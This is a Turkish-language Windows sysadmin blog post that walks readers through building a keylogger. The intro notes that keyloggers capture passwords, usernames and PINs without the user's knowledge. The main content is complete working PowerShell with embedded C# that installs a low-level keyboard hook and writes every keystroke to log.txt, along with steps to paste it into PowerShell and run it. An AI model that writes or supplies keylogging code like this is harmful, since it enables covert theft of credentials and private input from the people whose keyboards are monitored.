• Ana Sayfa
  • Windows 10
  • System Admin
  • Network
  • Exchange
    • Outlook
Cuma, Şubat 3, 2023
  • Login
  • Ana Sayfa
  • Windows 10
  • System Admin
  • Network
  • Exchange
    • Outlook
No Result
View All Result
Önder Online
  • Ana Sayfa
  • Windows 10
  • System Admin
  • Network
  • Exchange
    • Outlook
No Result
View All Result
Önder Online
No Result
View All Result
Home System Admin

Windows’ta kendimiz basit bir keylogger nasıl oluştururuz

ondermonder by ondermonder
Kasım 23, 2020
in System Admin, Windows 10
0 0
0
Windows’ta kendimiz basit bir keylogger nasıl oluştururuz
0
SHARES
505
VIEWS
Share on FacebookShare on Twitter

Keylogging, klavyede yapılan tuş basışlarını bir günlüğe kaydetme işlemidir. Bu genellikle kullanıcının farkında olmadan yapılır. Keylogging, bilgisayar korsanlığı hilesi olarak da yaygın olarak kullanılmaktadır. Keylogging kullanılarak, bir klavye üzerinde yapılan tüm tuş basışları verimli bir şekilde kaydedilebilir. Bu, parolaları, kullanıcı adlarını, gizli pimleri, gizli verileri vb. İçerebilir. Keylogging, izinsiz girişleri tespit etmek için de kullanılabilir. Bu makalede, basit bir keylogger oluşturmak için Powershell olarak bilinen bir Windows çerçevesi kullanılmıştır . Bir komut satırı kabuğundan ve ilgili komut dosyası dilinden oluşur. Powershell, .NET çerçevesi üzerine inşa edilmiştir ve çeşitli uygulamalar için yaygın olarak kullanılmaktadır.

READ ALSO

Ntdsutil ile etki Alanı Denetleyicisini Adım Adım Kaldırma

Active Directoryde şifreyi kim sıfırladı?

  • Başlat menüsünü açın. Yazın Windows PowerShell arama çubuğuna. Arama sonuçlarından, ekran görüntüsünde gösterildiği gibi Windows PowerShell ve Windows PowerShell ISE uygulamalarını açın .

  • Aşağıda verilen kodu kopyalayın ve Windows PowerShell komut istemine yapıştırın . Kopyalamak veya yapıştırmak için, PowerShell komut isteminde kodu seçmeniz ve sağ tıklamanız yeterlidir.

Add-Type -TypeDefinition @”
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger {
public static class Program {
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;

private const string logFileName = “log.txt”;
private static StreamWriter logFile;

private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;

public static void Main() {
logFile = File.AppendText(logFileName);
logFile.AutoFlush = true;

hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
}

private static IntPtr SetHook(HookProc hookProc) {
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
}

private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
int vkCode = Marshal.ReadInt32(lParam);
logFile.WriteLine((Keys)vkCode);
}

return CallNextHookEx(hookId, nCode, wParam, lParam);
}

[DllImport(“user32.dll”)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport(“user32.dll”)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport(“user32.dll”)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport(“kernel32.dll”)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
}
“@ -ReferencedAssemblies System.Windows.Forms

[KeyLogger.Program]::Main();

  • Şimdi bazı uygulamaları açın ve bazı tuşlara basın. Örnek olarak ondermonder yazdım
  • Tuşlara basmayı tamamladığınızda, Windows PowerShell komut isteminde kodun altına bakın . Burada, Kayıt tuşuna bastığınız bir talimat göreceksiniz . Sonuçları görmek için CTRL + C tuşlarına basın. Günlüğe kaydedilen tuş vuruşlarını görmek için talimata göre CTRL + C tuşlarına basın .
  • Bu kadar. Kendi keylogger’ınızı yazmak artık çok büyük bir durum değil :). Umarım makale faydalı olur.

Tags: keyloggerPowerShell

Related Posts

Ntdsutil ile etki Alanı Denetleyicisini Adım Adım Kaldırma
System Admin

Ntdsutil ile etki Alanı Denetleyicisini Adım Adım Kaldırma

Nisan 14, 2022
Active Directoryde şifreyi kim sıfırladı?
System Admin

Active Directoryde şifreyi kim sıfırladı?

Nisan 14, 2022
Etki Alanına Katıldıktan Sonra Masaüstü Simgeleri Etkinleştirilemiyor
System Admin

Etki Alanına Katıldıktan Sonra Masaüstü Simgeleri Etkinleştirilemiyor

Nisan 14, 2022
Windows Arama
System Admin

Windows Arama

Nisan 14, 2022
System Admin

How to Add Active Directory Schema Snap-In

Kasım 11, 2021
Changed Block Tracking – Patch Release ESXi600-201511001 (2137545)
System Admin

Changed Block Tracking – Patch Release ESXi600-201511001 (2137545)

Nisan 7, 2021
Next Post
Nmap Nedir ve Nasıl Kullanılır?

Nmap Nedir ve Nasıl Kullanılır?

Dostlar




  • Buy JNews
  • Landing Page
  • Documentation
  • Support Forum

© 2020 Önder AKÖZ

No Result
View All Result
  • Ana Sayfa
  • Network
  • System Admin
  • Windows 10
  • Exchange
    • Outlook

© 2020 Önder AKÖZ

Welcome Back!

Login to your account below

Forgotten Password?

Create New Account!

Fill the forms below to register

*By registering into our website, you agree to the Terms & Conditions and Privacy Policy.
All fields are required. Log In

Retrieve your password

Please enter your username or email address to reset your password.

Log In
This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.